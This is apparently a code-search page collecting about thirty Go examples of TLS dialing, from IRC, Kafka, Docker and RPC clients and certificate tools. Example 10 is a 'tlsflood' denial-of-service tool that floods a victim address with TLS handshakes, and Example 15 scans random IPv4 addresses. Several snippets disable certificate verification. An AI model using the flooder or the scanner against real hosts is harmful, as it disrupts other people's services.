Esempio n. 1
0
// We accept 'ssl'/'tls' as a protocol; it implies 'tcp' as the underlying
// protocol.
func dial(proto, addr, laddr string, tmout time.Duration) (net.Conn, error) {
	// Set up our dialer options; we may need a local address and/or
	// a connection timeout.
	// TODO: happy eyeballs support, ie dialer.DualStack? This might be
	// worth a command line switch.
	var dialer net.Dialer
	dialer.Timeout = tmout
	if laddr != "" {
		a, e := ResolveAddr(proto, laddr)
		if e != nil {
			return nil, e
		}
		dialer.LocalAddr = a
	}

	switch proto {
	case "ssl", "tls":
		// For testing I do not want to have to verify anything
		// about the target certificates. I have other tools for
		// that.
		cfg := tls.Config{InsecureSkipVerify: true}
		return tls.DialWithDialer(&dialer, "tcp", addr, &cfg)
	case "sslver", "tlsver":
		return tls.DialWithDialer(&dialer, "tcp", addr, nil)
	}
	return dialer.Dial(proto, addr)
}
Esempio n. 2
0
// SessionResumeScan tests that host is able to resume sessions across all addresses.
func sessionResumeScan(addr, hostname string) (grade Grade, output Output, err error) {
	config := defaultTLSConfig(hostname)
	config.ClientSessionCache = tls.NewLRUClientSessionCache(1)

	conn, err := tls.DialWithDialer(Dialer, Network, addr, config)
	if err != nil {
		return
	}
	if err = conn.Close(); err != nil {
		return
	}

	return multiscan(addr, func(addrport string) (g Grade, o Output, e error) {
		var conn *tls.Conn
		if conn, e = tls.DialWithDialer(Dialer, Network, addrport, config); e != nil {
			return
		}
		conn.Close()

		if o = conn.ConnectionState().DidResume; o.(bool) {
			g = Good
		}
		return
	})
}
Esempio n. 3
0
// BundleFromRemote fetches the certificate served by the server at
// serverName (or ip, if the ip argument is not the empty string). It
// is expected that the method will be able to make a connection at
// port 443. The certificate used by the server in this connection is
// used to build the bundle, which will necessarily be keyless.
func (b *Bundler) BundleFromRemote(serverName, ip string, flavor BundleFlavor) (*Bundle, error) {
	config := &tls.Config{
		RootCAs:    b.RootPool,
		ServerName: serverName,
	}

	// Dial by IP if present
	var dialName string
	if ip != "" {
		dialName = ip + ":443"
	} else {
		dialName = serverName + ":443"
	}

	log.Debugf("bundling from remote %s", dialName)

	dialer := &net.Dialer{Timeout: time.Duration(5) * time.Second}
	conn, err := tls.DialWithDialer(dialer, "tcp", dialName, config)
	var dialError string
	// If there's an error in tls.Dial, try again with
	// InsecureSkipVerify to fetch the remote bundle to (re-)bundle
	// with. If the bundle is indeed not usable (expired, mismatched
	// hostnames, etc.), report the error.  Otherwise, create a
	// working bundle and insert the tls error in the bundle.Status.
	if err != nil {
		log.Debugf("dial failed: %v", err)
		// record the error msg
		dialError = fmt.Sprintf("Failed rigid TLS handshake with %s: %v", dialName, err)
		// dial again with InsecureSkipVerify
		log.Debugf("try again with InsecureSkipVerify.")
		config.InsecureSkipVerify = true
		conn, err = tls.DialWithDialer(dialer, "tcp", dialName, config)
		if err != nil {
			log.Debugf("dial with InsecureSkipVerify failed: %v", err)
			return nil, errors.Wrap(errors.DialError, errors.Unknown, err)
		}
	}

	connState := conn.ConnectionState()

	certs := connState.PeerCertificates

	err = conn.VerifyHostname(serverName)
	if err != nil {
		log.Debugf("failed to verify hostname: %v", err)
		return nil, errors.Wrap(errors.CertificateError, errors.VerifyFailed, err)
	}

	// Bundle with remote certs. Inject the initial dial error, if any, to the status reporting.
	bundle, err := b.Bundle(certs, nil, flavor)
	if err != nil {
		return nil, err
	} else if dialError != "" {
		bundle.Status.Messages = append(bundle.Status.Messages, dialError)
	}
	return bundle, err
}
Esempio n. 4
0
//retrieveCertFromHost checks the host connectivity and returns the certificate chain ( if any ) provided
//by the domain or an error in every other case.
func retrieveCertFromHost(domainName, port string, skipVerify bool) ([]*x509.Certificate, string, error) {

	config := tls.Config{InsecureSkipVerify: skipVerify}

	canonicalName := domainName + ":" + port

	ip := ""

	dialer := &net.Dialer{
		Timeout: 10 * time.Second,
	}

	conn, err := tls.DialWithDialer(dialer, "tcp", canonicalName, &config)

	if err != nil {
		return nil, ip, err
	}
	defer conn.Close()

	ip = strings.TrimSuffix(conn.RemoteAddr().String(), ":443")

	certs := conn.ConnectionState().PeerCertificates

	if certs == nil {
		return nil, ip, errors.New("Could not get server's certificate from the TLS connection.")
	}

	return certs, ip, nil
}
Esempio n. 5
0
// getChain returns chain of certificates retrieved from TLS session
// established at given addr (host:port) for hostname provided. If addr is
// empty, then hostname:443 is used.
func getChain(hostname, addr string) ([]*x509.Certificate, error) {
	if hostname == "" {
		return nil, errors.New("empty hostname")
	}
	var (
		conn *tls.Conn
		err  error
	)
	type tempErr interface {
		Temporary() bool
	}
	conf := &tls.Config{ServerName: hostname}
	if addr == "" {
		addr = hostname + ":443"
	}
	dialer := &net.Dialer{
		Timeout: 30 * time.Second,
	}
	for i := 0; i < 3; i++ {
		if i > 0 {
			time.Sleep(time.Duration(i) * time.Second)
		}
		conn, err = tls.DialWithDialer(dialer, "tcp", addr, conf)
		if e, ok := err.(tempErr); ok && e.Temporary() {
			continue
		}
		if err != nil {
			return nil, err
		}
		defer conn.Close()
		return conn.ConnectionState().PeerCertificates, nil
	}
	return nil, err
}
Esempio n. 6
0
func ValidateCertificate(addr, caCertPath, serverCertPath, serverKeyPath string) (bool, error) {
	caCert, err := ioutil.ReadFile(caCertPath)
	if err != nil {
		return false, err
	}

	serverCert, err := ioutil.ReadFile(serverCertPath)
	if err != nil {
		return false, err
	}

	serverKey, err := ioutil.ReadFile(serverKeyPath)
	if err != nil {
		return false, err
	}

	tlsConfig, err := getTLSConfig(caCert, serverCert, serverKey, false)
	if err != nil {
		return false, err
	}

	dialer := &net.Dialer{
		Timeout: time.Second * 2,
	}

	_, err = tls.DialWithDialer(dialer, "tcp", addr, tlsConfig)
	if err != nil {
		return false, nil
	}

	return true, nil
}
Esempio n. 7
0
// Connect opens a socket to the server specified by the Connection and
// identifies using the desired nick, ident, and realname.
func (irc *Connection) Connect() error {
	var conn net.Conn
	var err error

	address := fmt.Sprintf("%s:%d", irc.Host, irc.Port)
	irc.Logf("Connecting to [%s]", address)

	// Connect to the server or timeout.
	if irc.UseTLS {
		// Unfortunately, there is no tls.DialTimeout, so we must use
		// a Dialer with DialWithDialer.
		dialer := &net.Dialer{Timeout: connectTimeout}
		tlsConfig := &tls.Config{}
		conn, err = tls.DialWithDialer(dialer, "tcp", address, tlsConfig)
	} else {
		conn, err = net.DialTimeout("tcp", address, connectTimeout)
	}

	if err != nil {
		irc.Log("unable to connect:", err)
		return err
	}

	irc.Logf("Connection to host at [%s] established\n", conn.RemoteAddr())

	irc.Active = true
	irc.conn = conn
	irc.lastRecv = time.Now()
	irc.scanner = bufio.NewScanner(irc.conn)

	irc.Nickify(irc.Nick)
	irc.Sendf("USER %s %s * :%s", irc.Ident, irc.Host, irc.RealName)

	return nil
}
Esempio n. 8
0
// Dial устанавливает защищенное соединение с сервером и возвращает его. Время ожидания ответа
// автоматически устанавливается равной TiemoutRead. При желании, вы можете продлевать это время
// самостоятельно после каждого успешного чтения или записи.
func (config *Config) Dial(addr string) (*tls.Conn, error) {
	serverName, _, err := net.SplitHostPort(addr)
	if err != nil {
		return nil, err
	}
	var (
		tslConfig = &tls.Config{
			ServerName: serverName,
			Certificates: []tls.Certificate{
				config.Certificate,
			},
		}
		dialer = &net.Dialer{
			Timeout: TimeoutConnect,
		}
	)
	// устанавливаем защищенное соединение с сервером
	conn, err := tls.DialWithDialer(dialer, "tcp", addr, tslConfig)
	if err != nil {
		return nil, err
	}
	// устанавливаем время ожидания ответа от сервера
	conn.SetReadDeadline(time.Now().Add(TiemoutRead))
	return conn, nil
}
// Dial is an implementation of the ConnectionTransport interface.
func (ct *ConnectionTransportTLS) Dial(ctx context.Context) (
	Transporter, error) {
	var conn net.Conn
	err := runUnlessCanceled(ctx, func() error {
		config := ct.tlsConfig

		// If we didn't specify a tls.Config, but we did specify
		// explicit rootCerts, then populate a new tls.Config here.
		// Otherwise, we're using the defaults via `nil` tls.Config.
		if config == nil && ct.rootCerts != nil {
			// load CA certificate
			certs := x509.NewCertPool()
			if !certs.AppendCertsFromPEM(ct.rootCerts) {
				return errors.New("Unable to load root certificates")
			}
			config = &tls.Config{RootCAs: certs}
		}
		// connect
		var err error
		conn, err = tls.DialWithDialer(&net.Dialer{
			KeepAlive: 10 * time.Second,
		}, "tcp", ct.srvAddr, config)
		return err
	})
	if err != nil {
		return nil, err
	}

	ct.mutex.Lock()
	defer ct.mutex.Unlock()
	transport := NewTransport(conn, ct.logFactory, ct.wef)
	ct.conn = conn
	ct.stagedTransport = transport
	return transport, nil
}
Esempio n. 10
0
File: main.go Progetto: nhooyr/dos
func main() {
	log.SetPrefix("")
	log.SetFlags(0)
	if len(os.Args) < 2 {
		log.Fatal("usage: tlsflood <victimIP>:<port>")
	}
	config := &tls.Config{
		InsecureSkipVerify: true,
	}
	dialer := &net.Dialer{}
	var wg sync.WaitGroup
	wg.Add(256)
	for i := 0; i < 256; i++ {
		go func() {
			defer wg.Done()
			for {
				c, err := tls.DialWithDialer(dialer, "tcp", os.Args[1], config)
				if err != nil {
					continue
				}
				c.Close()
			}
		}()

	}
	wg.Wait()
}
Esempio n. 11
0
func dial(p Param) (net.Conn, error) {
	u, err := p.url()
	if err != nil {
		return nil, err
	}
	opts := p.options()
	to := opts.ConnectTimeout
	switch u.Scheme {
	case "tcp":
		c, err := net.DialTimeout("tcp", u.Host, to)
		if err != nil {
			return nil, err
		}
		return c, nil
	case "ssl", "tcps", "tls":
		c, err := tls.DialWithDialer(&net.Dialer{Timeout: to},
			"tcp", u.Host, opts.TLSConfig)
		if err != nil {
			return nil, err
		}
		return c, nil
	default:
		return nil, ErrUnknownProtocol
	}
}
Esempio n. 12
0
func dialNNTP(timeout time.Duration) (*nntp.Conn, error) {
	dialstr := config.GetAddressStr()
	var err error
	var c net.Conn

	for {
		if config.TLS {
			tlsconfig := &tls.Config{
				InsecureSkipVerify: config.IgnoreCertErrors,
				ServerName:         config.Address,
			}
			d := &net.Dialer{Timeout: timeout}
			c, err = tls.DialWithDialer(d, "tcp", dialstr, tlsconfig)
		} else {
			c, err = net.DialTimeout("tcp", dialstr, timeout)
		}
		if err != nil {
			// if it's a timeout, ignore and try again
			e, ok := err.(net.Error)
			if ok && e.Temporary() {
				continue
			}
			return nil, err
		}
		break
	}
	return nntp.Connect(c, fmt.Sprintf("%s:%s", dialstr, c.LocalAddr()),
		config.Username, config.Password)
}
Esempio n. 13
0
// Dial is an implementation of the ConnectionTransport interface.
func (ct *ConnectionTransportTLS) Dial(ctx context.Context) (
	Transporter, error) {
	var conn net.Conn
	err := runUnlessCanceled(ctx, func() error {
		// load CA certificate
		certs := x509.NewCertPool()
		if !certs.AppendCertsFromPEM(ct.rootCerts) {
			return errors.New("Unable to load root certificates")
		}
		// connect
		config := tls.Config{RootCAs: certs}
		var err error
		conn, err = tls.DialWithDialer(&net.Dialer{
			KeepAlive: 10 * time.Second,
		}, "tcp", ct.srvAddr, &config)
		return err
	})
	if err != nil {
		return nil, err
	}

	ct.mutex.Lock()
	defer ct.mutex.Unlock()
	transport := NewTransport(conn, ct.logFactory, ct.wef)
	ct.conn = conn
	ct.stagedTransport = transport
	return transport, nil
}
Esempio n. 14
0
// tlsDial wraps either net.Dial or crypto/tls.Dial, depending on the contents of
// the passed TLS Config.
func tlsDial(network, address string, timeout time.Duration, config *tls.Config) (net.Conn, error) {
	defaultDialer := net.Dialer{Timeout: timeout}
	if config == nil {
		return defaultDialer.Dial(network, address)
	}
	return tls.DialWithDialer(&defaultDialer, network, address, config)
}
Esempio n. 15
0
func main() {
	ripmgr := randip.NewRandIPv4Mgr(true, 1249767200)
	for {
		newIP, err := ripmgr.GetNextIP()
		if err != nil {
			log.Println("IP Addr Exhausted")
			return
		} else {
			go func() {
				log.Println(newIP.String())
				config := tls.Config{InsecureSkipVerify: true, ServerName: "google.com"}
				var err error
				var newConn *tls.Conn
				newConn, err = tls.DialWithDialer(&net.Dialer{Timeout: 2 * time.Second}, "tcp", newIP.String()+":443", &config)
				if err != nil {
					log.Println(err)
				} else {
					conState := newConn.ConnectionState()
					fmt.Println(newConn.RemoteAddr(), conState.PeerCertificates[0].NotBefore, conState.PeerCertificates[0].NotAfter, conState.PeerCertificates[0].SerialNumber)
					//jsonCert,_ := json.MarshalIndent(conState.PeerCertificates[0],""," ")
					//fmt.Println(string(jsonCert))
					newConn.Close()
				}
			}()
		}
	}
}
Esempio n. 16
0
func (d *Dialer) DialTLS(network, address string) (net.Conn, error) {
	switch network {
	case "tcp", "tcp4", "tcp6":
		if host, port, err := net.SplitHostPort(address); err == nil {
			if alias0, ok := d.hosts.Lookup(host); ok {
				alias := alias0.(string)
				if hosts, err := d.iplist.Lookup(alias); err == nil {
					config := &tls.Config{
						InsecureSkipVerify: true,
						ServerName:         address,
					}
					if strings.Contains(address, ".appspot.com") ||
						strings.Contains(address, ".google") ||
						strings.Contains(address, ".gstatic.com") ||
						strings.Contains(address, ".ggpht.com") {
						config.ServerName = "www.bing.com"
						config.CipherSuites = []uint16{tls.TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA}
					}

					addrs := make([]string, len(hosts))
					for i, host := range hosts {
						addrs[i] = net.JoinHostPort(host, port)
					}
					return d.dialMultiTLS(network, addrs, config)
				}
			}
		}
	default:
		break
	}
	return tls.DialWithDialer(&d.Dialer, network, address, d.TLSConfig)
}
Esempio n. 17
0
// NewConnection creates a new connection to the database server
func NewConnection(address string, opts *ConnectOpts) (*Connection, error) {
	var err error
	c := &Connection{
		address: address,
		opts:    opts,
		cursors: make(map[int64]*Cursor),
	}
	// Connect to Server
	nd := net.Dialer{Timeout: c.opts.Timeout, KeepAlive: opts.KeepAlivePeriod}
	if c.opts.TLSConfig == nil {
		c.Conn, err = nd.Dial("tcp", address)
	} else {
		c.Conn, err = tls.DialWithDialer(&nd, "tcp", address, c.opts.TLSConfig)
	}
	if err != nil {
		return nil, RQLConnectionError{rqlError(err.Error())}
	}

	// Send handshake
	handshake, err := c.handshake(opts.HandshakeVersion)
	if err != nil {
		return nil, err
	}

	if err = handshake.Send(); err != nil {
		return nil, err
	}

	return c, nil
}
Esempio n. 18
0
func sockConn(timeout time.Duration) (net.Conn, error) {
	daemon := daemonHost()
	daemonURL, err := url.Parse(daemon)
	if err != nil {
		return nil, fmt.Errorf("could not parse url %q: %v", daemon, err)
	}

	var c net.Conn
	switch daemonURL.Scheme {
	case "unix":
		return net.DialTimeout(daemonURL.Scheme, daemonURL.Path, timeout)
	case "tcp":
		if os.Getenv("DOCKER_TLS_VERIFY") != "" {
			// Setup the socket TLS configuration.
			tlsConfig, err := getTLSConfig()
			if err != nil {
				return nil, err
			}
			dialer := &net.Dialer{Timeout: timeout}
			return tls.DialWithDialer(dialer, daemonURL.Scheme, daemonURL.Host, tlsConfig)
		}
		return net.DialTimeout(daemonURL.Scheme, daemonURL.Host, timeout)
	default:
		return c, fmt.Errorf("unknown scheme %v (%s)", daemonURL.Scheme, daemon)
	}
}
Esempio n. 19
0
func (c *Client) connect() error {
	c.lock.Lock()
	defer c.lock.Unlock()

	if c.TLS {
		if c.TLSConfig == nil {
			c.TLSConfig = &tls.Config{InsecureSkipVerify: true}
		}

		if conn, err := tls.DialWithDialer(c.dialer, "tcp", c.Server, c.TLSConfig); err != nil {
			return err
		} else {
			c.conn = conn
		}
	} else {
		if conn, err := c.dialer.Dial("tcp", c.Server); err != nil {
			return err
		} else {
			c.conn = conn
		}
	}

	c.connected = true
	c.reader = bufio.NewReader(c.conn)

	c.register()

	c.ready.Add(1)
	go c.send()
	go c.recv()

	return nil
}
Esempio n. 20
0
// NewDirectRPCClient creates a rpc client
func NewDirectRPCClient(c *Client, clientCodecFunc ClientCodecFunc, network, address string, timeout time.Duration) (*rpc.Client, error) {
	//if network == "http" || network == "https" {
	if network == "http" {
		return NewDirectHTTPRPCClient(c, clientCodecFunc, network, address, "", timeout)
	}

	var conn net.Conn
	var tlsConn *tls.Conn
	var err error

	if c != nil && c.TLSConfig != nil {
		dialer := &net.Dialer{
			Timeout: timeout,
		}
		tlsConn, err = tls.DialWithDialer(dialer, network, address, c.TLSConfig)
		//or conn:= tls.Client(netConn, &config)

		conn = net.Conn(tlsConn)
	} else {
		conn, err = net.DialTimeout(network, address, timeout)
	}

	if err != nil {
		return nil, err
	}

	if c == nil || c.PluginContainer == nil {
		return rpc.NewClientWithCodec(clientCodecFunc(conn)), nil
	}
	return rpc.NewClientWithCodec(newClientCodecWrapper(c.PluginContainer, clientCodecFunc(conn))), nil
}
Esempio n. 21
0
// dial dials the host specified by req, using TLS if appropriate.
func (s *SpdyRoundTripper) dial(req *http.Request) (net.Conn, error) {
	dialAddr := netutil.CanonicalAddr(req.URL)

	if req.URL.Scheme == "http" {
		if s.Dialer == nil {
			return net.Dial("tcp", dialAddr)
		} else {
			return s.Dialer.Dial("tcp", dialAddr)
		}
	}

	// TODO validate the TLSClientConfig is set up?
	var conn *tls.Conn
	var err error
	if s.Dialer == nil {
		conn, err = tls.Dial("tcp", dialAddr, s.tlsConfig)
	} else {
		conn, err = tls.DialWithDialer(s.Dialer, "tcp", dialAddr, s.tlsConfig)
	}
	if err != nil {
		return nil, err
	}

	host, _, err := net.SplitHostPort(dialAddr)
	if err != nil {
		return nil, err
	}
	err = conn.VerifyHostname(host)
	if err != nil {
		return nil, err
	}

	return conn, nil
}
Esempio n. 22
0
// getNewConn is used to return a new connection
func (p *ConnPool) getNewConn(addr string, timeout time.Duration) (*Conn, error) {
	// Try to dial the conn
	conn, err := tls.DialWithDialer(&net.Dialer{Timeout: timeout}, "tcp", addr, p.config)
	if err != nil {
		return nil, err
	}

	// Setup the logger
	conf := yamux.DefaultConfig()
	conf.LogOutput = p.logOutput

	// Create a multiplexed session
	session, err := yamux.Client(conn, conf)
	if err != nil {
		conn.Close()
		return nil, err
	}

	// Wrap the connection
	c := &Conn{
		addr:     addr,
		session:  session,
		lastUsed: time.Now(),
		pool:     p,
	}
	return c, nil
}
Esempio n. 23
0
// Connect to a given server using the current connection configuration.
// This function also takes care of identification if a password is provided.
// RFC 1459 details: https://tools.ietf.org/html/rfc1459#section-4.1
func (irc *Connection) Connect(server string) error {
	irc.Server = server
	irc.stopped = false

	// make sure everything is ready for connection
	if len(irc.Server) == 0 {
		return errors.New("empty 'server'")
	}
	if strings.Count(irc.Server, ":") != 1 {
		return errors.New("wrong number of ':' in address")
	}
	if strings.Index(irc.Server, ":") == 0 {
		return errors.New("hostname is missing")
	}
	if strings.Index(irc.Server, ":") == len(irc.Server)-1 {
		return errors.New("port missing")
	}
	// check for valid range
	ports := strings.Split(irc.Server, ":")[1]
	port, err := strconv.Atoi(ports)
	if err != nil {
		return errors.New("extracting port failed")
	}
	if !((port >= 0) && (port <= 65535)) {
		return errors.New("port number outside valid range")
	}
	if irc.Log == nil {
		return errors.New("'Log' points to nil")
	}
	if len(irc.nick) == 0 {
		return errors.New("empty 'nick'")
	}
	if len(irc.user) == 0 {
		return errors.New("empty 'user'")
	}

	if irc.UseTLS {
		dialer := &net.Dialer{Timeout: irc.Timeout}
		irc.socket, err = tls.DialWithDialer(dialer, "tcp", irc.Server, irc.TLSConfig)
	} else {
		irc.socket, err = net.DialTimeout("tcp", irc.Server, irc.Timeout)
	}
	if err != nil {
		return err
	}
	irc.Log.Printf("Connected to %s (%s)\n", irc.Server, irc.socket.RemoteAddr())

	irc.pwrite = make(chan string, 10)
	irc.Error = make(chan error, 2)
	irc.Add(3)
	go irc.readLoop()
	go irc.writeLoop()
	go irc.pingLoop()
	if len(irc.Password) > 0 {
		irc.pwrite <- fmt.Sprintf("PASS %s\r\n", irc.Password)
	}
	irc.pwrite <- fmt.Sprintf("NICK %s\r\n", irc.nick)
	irc.pwrite <- fmt.Sprintf("USER %s 0.0.0.0 0.0.0.0 :%s\r\n", irc.user, irc.user)
	return nil
}
Esempio n. 24
0
func (i *Client) connect() error {
	var err error
	i.events = make(chan *adapter.Event)
	logger.Log.Infof("Connecting to %s", i.Server)

	if !i.TLS {
		i.conn, err = net.DialTimeout("tcp", i.Server, TIMEOUT)
	} else {
		i.conn, err = tls.DialWithDialer(&net.Dialer{
			Timeout: TIMEOUT,
		}, "tcp", i.Server, &tls.Config{
			InsecureSkipVerify: i.TLSVerify,
		})
	}
	if err != nil {
		return fmt.Errorf("Could not connect to server: %s", err)
	}

	i.events <- &adapter.Event{
		Command: CONNECTED,
	}
	logger.Log.Infof("Connecting to %s", i.Server)

	return err

}
Esempio n. 25
0
// dial connects to the server and set up a watching goroutine
func dial(network, raddr string, rootCAs *x509.CertPool, connectTimeout time.Duration) (*conn, error) {
	var netConn net.Conn
	var err error

	switch network {
	case "tls":
		var config *tls.Config
		if rootCAs != nil {
			config = &tls.Config{RootCAs: rootCAs}
		}
		dialer := &net.Dialer{
			Timeout: connectTimeout,
		}
		netConn, err = tls.DialWithDialer(dialer, "tcp", raddr, config)
	case "udp", "tcp":
		netConn, err = net.DialTimeout(network, raddr, connectTimeout)
	default:
		return nil, fmt.Errorf("Network protocol %s not supported", network)
	}
	if err != nil {
		return nil, err
	} else {
		c := &conn{netConn, make(chan error)}
		go c.watch()
		return c, nil
	}
}
Esempio n. 26
0
func dialTCP(ctx context.Context, l log15.Logger, addrs []string) (net.Conn, string, error) {
	donec := ctx.Done()

	allTimeout := len(addrs) > 0
	for i, addr := range addrs {
		select {
		case <-donec:
			return nil, "", errCanceled
		default:
		}

		var conn net.Conn
		var err error
		if strings.HasPrefix(addr, "https://") {
			conn, err = tls.DialWithDialer(tlsDialer, "tcp", strings.TrimPrefix(addr, "https://"), nil)
		} else {
			conn, err = dialer.Dial("tcp", addr)
		}
		if err == nil {
			return conn, addr, nil
		}
		if allTimeout && !strings.Contains("timeout", err.Error()) {
			allTimeout = false
		}
		l.Error("retriable dial error", "backend", addr, "err", err, "attempt", i)
	}
	err := errNoBackends
	if allTimeout {
		err = errTimeout
	}
	return nil, "", err
}
Esempio n. 27
0
// DialWithDialer uses tls.DialWithDialer to connect to tls server and write
// master secret and client to log file.
func (l *TLSLog) DialWithDialer(dialer *net.Dialer, network, addr string, config *tls.Config) (*tls.Conn, error) {
	l.initConfig(config)

	conn, err := tls.DialWithDialer(dialer, network, addr, config)
	if err != nil {
		return conn, err
	}
	return conn, l.writeLog(conn, config)
}
Esempio n. 28
0
// Open tries to connect to the Broker if it is not already connected or connecting, but does not block
// waiting for the connection to complete. This means that any subsequent operations on the broker will
// block waiting for the connection to succeed or fail. To get the effect of a fully synchronous Open call,
// follow it by a call to Connected(). The only errors Open will return directly are ConfigurationError or
// AlreadyConnected. If conf is nil, the result of NewConfig() is used.
func (b *Broker) Open(conf *Config) error {
	if conf == nil {
		conf = NewConfig()
	}

	err := conf.Validate()
	if err != nil {
		return err
	}

	if !atomic.CompareAndSwapInt32(&b.opened, 0, 1) {
		return ErrAlreadyConnected
	}

	b.lock.Lock()

	if b.conn != nil {
		b.lock.Unlock()
		Logger.Printf("Failed to connect to broker %s: %s\n", b.addr, ErrAlreadyConnected)
		return ErrAlreadyConnected
	}

	go withRecover(func() {
		defer b.lock.Unlock()

		dialer := net.Dialer{
			Timeout:   conf.Net.DialTimeout,
			KeepAlive: conf.Net.KeepAlive,
		}

		if conf.Net.TLS.Enable {
			b.conn, b.connErr = tls.DialWithDialer(&dialer, "tcp", b.addr, conf.Net.TLS.Config)
		} else {
			b.conn, b.connErr = dialer.Dial("tcp", b.addr)
		}
		if b.connErr != nil {
			b.conn = nil
			atomic.StoreInt32(&b.opened, 0)
			Logger.Printf("Failed to connect to broker %s: %s\n", b.addr, b.connErr)
			return
		}
		b.conn = newBufConn(b.conn)

		b.conf = conf
		b.done = make(chan bool)
		b.responses = make(chan responsePromise, b.conf.Net.MaxOpenRequests-1)

		if b.id >= 0 {
			Logger.Printf("Connected to broker at %s (registered as #%d)\n", b.addr, b.id)
		} else {
			Logger.Printf("Connected to broker at %s (unregistered)\n", b.addr)
		}
		go withRecover(b.responseReceiver)
	})

	return nil
}
Esempio n. 29
0
// tlsDial wraps either net.Dial or crypto/tls.Dial, depending on the contents of
// the passed TLS Config.
func tlsDial(network, address string, config *tls.Config) (net.Conn, error) {
	if config == nil {
		if network != "unix" {
			log.Warningf("connecting via %s to %s without TLS", network, address)
		}
		return defaultDialer.Dial(network, address)
	}
	return tls.DialWithDialer(&defaultDialer, network, address, config)
}
Esempio n. 30
0
File: ping.go Progetto: eliasgs/ping
// TLS tries to connect to address over tcp. It returns true if a connection
// can be established within 500 ms. Use this function instead of TCP() to
// avoid TLS handshake errors.
func TLS(address string) bool {
	d := &net.Dialer{Timeout: timeout}
	conn, err := tls.DialWithDialer(d, "tcp", address, nil)
	if err != nil {
		return false
	}
	conn.Close()
	return true
}